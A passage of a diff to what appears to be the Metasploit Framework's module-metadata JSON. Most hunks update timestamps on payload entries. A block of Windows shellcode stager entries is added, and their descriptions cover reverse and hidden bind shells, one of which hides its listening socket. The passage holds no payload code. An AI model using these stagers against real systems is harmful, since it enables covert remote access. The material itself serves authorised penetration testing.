"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/ppc/meterpreter_reverse_https",
@@ -184176,7 +187082,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/ppc/meterpreter_reverse_tcp",
@@ -184416,7 +187322,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/ppc64le/meterpreter_reverse_http",
@@ -184452,7 +187358,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/ppc64le/meterpreter_reverse_https",
@@ -184488,7 +187394,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/ppc64le/meterpreter_reverse_tcp",
@@ -184524,7 +187430,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/ppce500v2/meterpreter_reverse_http",
@@ -184560,7 +187466,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/ppce500v2/meterpreter_reverse_https",
@@ -184596,7 +187502,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/ppce500v2/meterpreter_reverse_tcp",
@@ -184631,7 +187537,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-04-12 17:26:46 +0000",
"mod_time": "2022-09-22 12:55:41 +0000",
"path": "/modules/payloads/singles/linux/x64/exec.rb",
"is_install_path": true,
"ref_name": "linux/x64/exec",
@@ -184738,7 +187644,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/x64/meterpreter_reverse_http",
@@ -184774,7 +187680,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/x64/meterpreter_reverse_https",
@@ -184810,7 +187716,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x64/meterpreter_reverse_tcp",
@@ -184844,7 +187750,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-09-22 12:55:41 +0000",
"path": "/modules/payloads/singles/linux/x64/pingback_bind_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x64/pingback_bind_tcp",
@@ -184878,7 +187784,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-09-22 12:55:41 +0000",
"path": "/modules/payloads/singles/linux/x64/pingback_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x64/pingback_reverse_tcp",
@@ -184981,7 +187887,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-09-22 12:55:41 +0000",
"path": "/modules/payloads/singles/linux/x64/shell_bind_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x64/shell_bind_ipv6_tcp",
@@ -185049,7 +187955,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-04-03 12:04:32 +0000",
"mod_time": "2022-09-22 12:55:41 +0000",
"path": "/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb",
"is_install_path": true,
"ref_name": "linux/x64/shell_bind_tcp_random_port",
@@ -185117,7 +188023,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-09-22 12:55:41 +0000",
"path": "/modules/payloads/singles/linux/x64/shell_reverse_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x64/shell_reverse_ipv6_tcp",
@@ -185187,7 +188093,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-09-22 12:55:41 +0000",
"path": "/modules/payloads/singles/linux/x86/adduser.rb",
"is_install_path": true,
"ref_name": "linux/x86/adduser",
@@ -185221,7 +188127,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-09-22 12:55:41 +0000",
"path": "/modules/payloads/singles/linux/x86/chmod.rb",
"is_install_path": true,
"ref_name": "linux/x86/chmod",
@@ -185257,7 +188163,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-03-11 19:11:34 +0000",
"mod_time": "2022-09-22 12:55:41 +0000",
"path": "/modules/payloads/singles/linux/x86/exec.rb",
"is_install_path": true,
"ref_name": "linux/x86/exec",
@@ -185653,7 +188559,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/x86/meterpreter_reverse_http",
@@ -185689,7 +188595,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/x86/meterpreter_reverse_https",
@@ -185725,7 +188631,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x86/meterpreter_reverse_tcp",
@@ -185827,7 +188733,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-09-22 12:55:41 +0000",
"path": "/modules/payloads/singles/linux/x86/read_file.rb",
"is_install_path": true,
"ref_name": "linux/x86/read_file",
@@ -186421,7 +189327,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-09-22 12:55:41 +0000",
"path": "/modules/payloads/singles/linux/x86/shell_reverse_tcp_ipv6.rb",
"is_install_path": true,
"ref_name": "linux/x86/shell_reverse_tcp_ipv6",
@@ -186457,7 +189363,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/zarch/meterpreter_reverse_http",
@@ -186493,7 +189399,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/zarch/meterpreter_reverse_https",
@@ -186529,7 +189435,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/zarch/meterpreter_reverse_tcp",
@@ -187466,7 +190372,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-09-16 18:20:06 +0000",
"path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "osx/x64/meterpreter_reverse_http",
@@ -187502,7 +190408,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-09-16 18:20:06 +0000",
"path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "osx/x64/meterpreter_reverse_https",
@@ -187538,7 +190444,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-09-16 18:20:06 +0000",
"path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "osx/x64/meterpreter_reverse_tcp",
@@ -187778,7 +190684,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-09-22 12:55:41 +0000",
"path": "/modules/payloads/singles/osx/x86/exec.rb",
"is_install_path": true,
"ref_name": "osx/x86/exec",
@@ -189779,6 +192685,1028 @@
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/bind_hidden_ipknock_tcp": {
"name": "Windows shellcode stage, Hidden Bind Ipknock TCP Stager",
"fullname": "payload/windows/custom/bind_hidden_ipknock_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"Borja Merino <bmerinofe@gmail.com>"
],
"description": "Custom shellcode stage. Listen for a connection. First, the port will need to be knocked from\n the IP defined in KHOST. This IP will work as an authentication method\n (you can spoof it with tools like hping). After that you could get your\n shellcode from any IP. The socket will appear as \"closed,\" thus helping to\n hide the shellcode",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb",
"is_install_path": true,
"ref_name": "windows/custom/bind_hidden_ipknock_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/bind_hidden_tcp": {
"name": "Windows shellcode stage, Hidden Bind TCP Stager",
"fullname": "payload/windows/custom/bind_hidden_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"Borja Merino <bmerinofe@gmail.com>"
],
"description": "Custom shellcode stage. Listen for a connection from a hidden port and spawn a command shell to the allowed host.",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/bind_hidden_tcp.rb",
"is_install_path": true,
"ref_name": "windows/custom/bind_hidden_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/bind_ipv6_tcp": {
"name": "Windows shellcode stage, Bind IPv6 TCP Stager (Windows x86)",
"fullname": "payload/windows/custom/bind_ipv6_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Custom shellcode stage. Listen for an IPv6 connection (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "windows/custom/bind_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/bind_ipv6_tcp_uuid": {
"name": "Windows shellcode stage, Bind IPv6 TCP Stager with UUID Support (Windows x86)",
"fullname": "payload/windows/custom/bind_ipv6_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"OJ Reeves"
],
"description": "Custom shellcode stage. Listen for an IPv6 connection with UUID Support (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/custom/bind_ipv6_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/bind_named_pipe": {
"name": "Windows shellcode stage, Windows x86 Bind Named Pipe Stager",
"fullname": "payload/windows/custom/bind_named_pipe",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"UserExistsError"
],
"description": "Custom shellcode stage. Listen for a pipe connection (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/bind_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/custom/bind_named_pipe",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/bind_nonx_tcp": {
"name": "Windows shellcode stage, Bind TCP Stager (No NX or Win7)",
"fullname": "payload/windows/custom/bind_nonx_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"vlad902 <vlad902@gmail.com>"
],
"description": "Custom shellcode stage. Listen for a connection (No NX)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/bind_nonx_tcp.rb",
"is_install_path": true,
"ref_name": "windows/custom/bind_nonx_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/bind_tcp": {
"name": "Windows shellcode stage, Bind TCP Stager (Windows x86)",
"fullname": "payload/windows/custom/bind_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Custom shellcode stage. Listen for a connection (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp.rb",
"is_install_path": true,
"ref_name": "windows/custom/bind_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/bind_tcp_rc4": {
"name": "Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)",
"fullname": "payload/windows/custom/bind_tcp_rc4",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"RageLtMan"
],
"description": "Custom shellcode stage. Listen for a connection",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/custom/bind_tcp_rc4",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/bind_tcp_uuid": {
"name": "Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x86)",
"fullname": "payload/windows/custom/bind_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"OJ Reeves"
],
"description": "Custom shellcode stage. Listen for a connection with UUID Support (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/custom/bind_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/find_tag": {
"name": "Windows shellcode stage, Find Tag Ordinal Stager",
"fullname": "payload/windows/custom/find_tag",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"skape <mmiller@hick.org>"
],
"description": "Custom shellcode stage. Use an established connection",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/findtag_ord.rb",
"is_install_path": true,
"ref_name": "windows/custom/find_tag",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_hop_http": {
"name": "Windows shellcode stage, Reverse Hop HTTP/HTTPS Stager",
"fullname": "payload/windows/custom/reverse_hop_http",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"scriptjunkie <scriptjunkie@scriptjunkie.us>",
"bannedit <bannedit@metasploit.com>",
"hdm <x@hdm.io>"
],
"description": "Custom shellcode stage. \n Tunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\n data/hop/hop.php to the PHP server you wish to use as a hop.",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_hop_http.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_hop_http",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_http": {
"name": "Windows shellcode stage, Windows Reverse HTTP Stager (wininet)",
"fullname": "payload/windows/custom/reverse_http",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>"
],
"description": "Custom shellcode stage. Tunnel communication over HTTP (Windows wininet)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-11-10 12:33:52 +0000",
"path": "/modules/payloads/stagers/windows/reverse_http.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_http",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_http_proxy_pstore": {
"name": "Windows shellcode stage, Reverse HTTP Stager Proxy",
"fullname": "payload/windows/custom/reverse_http_proxy_pstore",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>"
],
"description": "Custom shellcode stage. Tunnel communication over HTTP",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_http_proxy_pstore",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_https": {
"name": "Windows shellcode stage, Windows Reverse HTTPS Stager (wininet)",
"fullname": "payload/windows/custom/reverse_https",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>"
],
"description": "Custom shellcode stage. Tunnel communication over HTTPS (Windows wininet)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-11-10 12:33:52 +0000",
"path": "/modules/payloads/stagers/windows/reverse_https.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_https",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_https_proxy": {
"name": "Windows shellcode stage, Reverse HTTPS Stager with Support for Custom Proxy",
"fullname": "payload/windows/custom/reverse_https_proxy",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"corelanc0d3r <peter.ve@corelan.be>",
"amaloteaux <alex_maloteaux@metasploit.com>"
],
"description": "Custom shellcode stage. Tunnel communication over HTTP using SSL with custom proxy support",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_https_proxy.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_https_proxy",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_ipv6_tcp": {
"name": "Windows shellcode stage, Reverse TCP Stager (IPv6)",
"fullname": "payload/windows/custom/reverse_ipv6_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Custom shellcode stage. Connect back to the attacker over IPv6",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_named_pipe": {
"name": "Windows shellcode stage, Windows x86 Reverse Named Pipe (SMB) Stager",
"fullname": "payload/windows/custom/reverse_named_pipe",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"OJ Reeves"
],
"description": "Custom shellcode stage. Connect back to the attacker via a named pipe pivot",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_named_pipe",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_nonx_tcp": {
"name": "Windows shellcode stage, Reverse TCP Stager (No NX or Win7)",
"fullname": "payload/windows/custom/reverse_nonx_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"vlad902 <vlad902@gmail.com>"
],
"description": "Custom shellcode stage. Connect back to the attacker (No NX)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_nonx_tcp.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_nonx_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_ord_tcp": {
"name": "Windows shellcode stage, Reverse Ordinal TCP Stager (No NX or Win7)",
"fullname": "payload/windows/custom/reverse_ord_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"spoonm <spoonm@no$email.com>"
],
"description": "Custom shellcode stage. Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_ord_tcp.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_ord_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_tcp": {
"name": "Windows shellcode stage, Reverse TCP Stager",
"fullname": "payload/windows/custom/reverse_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Custom shellcode stage. Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_tcp_allports": {
"name": "Windows shellcode stage, Reverse All-Port TCP Stager",
"fullname": "payload/windows/custom/reverse_tcp_allports",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Custom shellcode stage. Try to connect back to the attacker, on all possible ports (1-65535, slowly)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_allports.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_tcp_allports",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_tcp_dns": {
"name": "Windows shellcode stage, Reverse TCP Stager (DNS)",
"fullname": "payload/windows/custom/reverse_tcp_dns",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"RageLtMan"
],
"description": "Custom shellcode stage. Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_tcp_dns",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_tcp_rc4": {
"name": "Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)",
"fullname": "payload/windows/custom/reverse_tcp_rc4",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
